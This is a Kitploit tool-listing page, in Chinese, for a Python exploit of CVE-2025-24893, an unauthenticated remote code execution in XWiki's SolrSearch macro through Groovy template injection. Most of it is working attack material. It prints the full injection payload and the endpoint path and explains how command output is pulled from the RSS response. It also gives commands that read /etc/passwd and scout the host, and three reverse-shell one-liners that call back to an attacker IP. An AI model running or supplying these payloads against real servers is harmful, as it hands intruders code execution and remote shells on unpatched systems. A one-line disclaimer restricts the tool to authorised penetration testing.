Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-24893 — XWiki 中通过 SolrSearch 宏实现的未经验证的远程代码执行 | Kitploit
工具/GitHubGitHub/gotr00t0day/cve-2025-24893
漏洞利用Web应用程序漏洞利用信息收集渗透测试红队
GitHubgotr00t0day/cve-2025-24893

CVE-2025-24893

XWiki 中通过 SolrSearch 宏实现的未经验证的远程代码执行

查看仓库
610个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

XWiki SSTI 漏洞利用工具

一个针对 XWiki SolrSearch 端点中通过 Groovy 模板注入实现的服务端模板注入(SSTI)漏洞的 Python 利用工具。

漏洞信息

  • 类型:服务端模板注入(SSTI)
  • 组件:XWiki SolrSearch RSS 源
  • 影响:远程代码执行
  • 受影响版本:XWiki 15.10.8(以及其他可能版本)

环境要求

root@kitploit:~
pip3 install requests beautifulsoup4

使用方法

测试是否存在漏洞

root@kitploit:~
./xwiki_exploit.py -u http://target --test

执行单条命令

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"

交互式 Shell

root@kitploit:~
./xwiki_exploit.py -u http://target.com

这将为你提供一个交互式伪 Shell,你可以在其中运行命令:

root@kitploit:~
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit

调试模式

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "id" --debug

命令行选项

  • -u, --url URL:目标 URL(必需)
  • -c, --command CMD:执行单条命令
  • --test:测试目标是否存在漏洞
  • --no-verify-ssl:禁用 SSL 证书验证
  • --debug:启用调试输出

示例

信息收集:

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"

查找感兴趣的文件:

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"

网络信息:

root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"

建立反向 Shell:

root@kitploit:~
# 在攻击者机器上启动监听:
nc -lvnp 1337

# 使用漏洞利用工具(尝试不同方法):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"

技术细节

Payload 结构

该漏洞利用工具使用以下 SSTI Payload 结构:

root@kitploit:~
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}

利用流程

  1. Payload 经过 URL 编码后发送到易受攻击的端点:

    root@kitploit:~
    /xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
    
  2. 服务器处理 Groovy 模板并执行命令。

  3. 从 RSS 源响应中按以下格式捕获输出:

    root@kitploit:~
    search on [}}OUTPUT]
    
  4. 该工具解析 HTML 响应以提取命令输出。

注意事项

  • 命令以 xwiki 用户(uid=997)身份执行。
  • 工作目录为 /usr/lib/xwiki-jetty。
  • 某些命令如果执行失败或在后台运行,可能不会产生输出。
  • 对于复杂命令,请考虑使用 Shell 脚本或 Base64 编码。

免责声明

本工具仅用于教育和已获授权的渗透测试目的。请仅在您有权测试的系统上使用。

下载工具